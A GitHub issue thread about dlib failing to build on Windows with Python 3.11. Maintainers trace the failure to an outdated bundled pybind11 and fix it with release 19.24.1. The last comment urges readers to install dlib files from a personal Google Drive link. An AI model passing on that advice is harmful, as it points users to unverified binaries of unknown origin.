Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Failed building wheel for dlib+legacy-install-failure #2695

Closed
aditya-vishwakarma-lab opened this issue Dec 1, 2022 · 7 comments
Closed

Comments

@aditya-vishwakarma-lab
Copy link

Expected Behavior

I was installing dlib for my facial recognition project, instead of installing normally it threw several errors and threw final message as failed building wheel as well as legacy install failure

Current Behavior

In between errors during installation were

C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\dlib\external\pybind11\include\pybind11\cast.h(441,36): error C2027: use of undefined type '_frame' (compiling source file C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\tools\python\src\svm_rank_trainer.cpp) [C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\build\temp.win-amd64-cpython-311\Release\_dlib_pybind11.vcxproj]

C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\dlib\external\pybind11\include\pybind11/pybind11.h(1890,49): error C2039: 'frame': is not a member of '_ts' (compiling source file C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\tools\python\src\basic.cpp) [C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\build\temp.win-amd64-cpython-311\Release\_dlib_pybind11.vcxproj]

C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\dlib\external\pybind11\include\pybind11/pybind11.h(1894,33): error C2660: 'PyDict_GetItem': function does not take 1 arguments (compiling source file C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\tools\python\src\svm_c_trainer.cpp) [C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\build\temp.win-amd64-cpython-311\Release\_dlib_pybind11.vcxproj]

The whole error message is too long to be included in the body, so here I am attaching it through text file
error_message.txt

Steps to Reproduce

I followed this tutorial while installing How to install dlib library for Python in Windows 10
This is the steps order

  1. Installed Cmake GUI
  2. Installed Visual Studio with C++ development library
  3. install cmake package through pip command
  4. Installed dlib
  • Version: dlib-19.24.0
  • Where did you get dlib: installd by pip install dlib command
  • Platform: Windows 10, 64 bit
  • Compiler: Python 3.11.0, gcc (MinGW.org GCC-6.3.0-1) 6.3.0
@aditya-vishwakarma-lab
Copy link
Author

Forked, Cloned the repo and installed the dlib through python setup.py install, worked like charm

@keenlovelife
Copy link

Expected Behavior

I was installing dlib for my facial recognition project, instead of installing normally it threw several errors and threw final message as failed building wheel as well as legacy install failure

Current Behavior

In between errors during installation were

C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\dlib\external\pybind11\include\pybind11\cast.h(441,36): error C2027: use of undefined type '_frame' (compiling source file C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\tools\python\src\svm_rank_trainer.cpp) [C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\build\temp.win-amd64-cpython-311\Release\_dlib_pybind11.vcxproj]

C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\dlib\external\pybind11\include\pybind11/pybind11.h(1890,49): error C2039: 'frame': is not a member of '_ts' (compiling source file C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\tools\python\src\basic.cpp) [C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\build\temp.win-amd64-cpython-311\Release\_dlib_pybind11.vcxproj]

C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\dlib\external\pybind11\include\pybind11/pybind11.h(1894,33): error C2660: 'PyDict_GetItem': function does not take 1 arguments (compiling source file C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\tools\python\src\svm_c_trainer.cpp) [C:\Users\Aditya\AppData\Local\Temp\pip-install-te4d1ptc\dlib_934a5585f8ff4bf49147bdfa7dbf7130\build\temp.win-amd64-cpython-311\Release\_dlib_pybind11.vcxproj]

The whole error message is too long to be included in the body, so here I am attaching it through text file error_message.txt

Steps to Reproduce

I followed this tutorial while installing How to install dlib library for Python in Windows 10 This is the steps order

  1. Installed Cmake GUI
  2. Installed Visual Studio with C++ development library
  3. install cmake package through pip command
  4. Installed dlib
  • Version: dlib-19.24.0
  • Where did you get dlib: installd by pip install dlib command
  • Platform: Windows 10, 64 bit
  • Compiler: Python 3.11.0, gcc (MinGW.org GCC-6.3.0-1) 6.3.0

I also encounter the same problem

@arrufat
Copy link
Contributor

arrufat commented Feb 3, 2023

This seems to be related to dlib shipping with a version of Pybind11 that does not support Python 3.11.
There's a fix for that in the master branch (see PR #2660).
As @aditya-vishwakarma-lab mentioned, building from master should solve the issue.

@patrikhuber
Copy link

I just got the same error, using pip install dlib, Python 3.11, MSVC 19.35.32215.0.

pip install git+https:/davisking/dlib.git@master fixed it.

I think a new pypi release is needed @arrufat :-).

@davisking
Copy link
Owner

Cool. Yeah I'll push a new dlib version to pip later today.

@davisking
Copy link
Owner

Updated pypi. The dlib version live there is now 19.24.1 :D

@Suchir2004
Copy link

Download the dlib files
Link - https://drive.google.com/file/d/11Hip8-llWEm5GN3_u4ibI09unL7xCw0g/view?usp=drivesdk
And just copy the path of that file and paste it into the terminal.
Stable version is 10 among all files that you have been downloaded from the link

In terminal you just need copy the path of that particular file; there are 4 files the choose one which is suitable for your computer work on windows.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants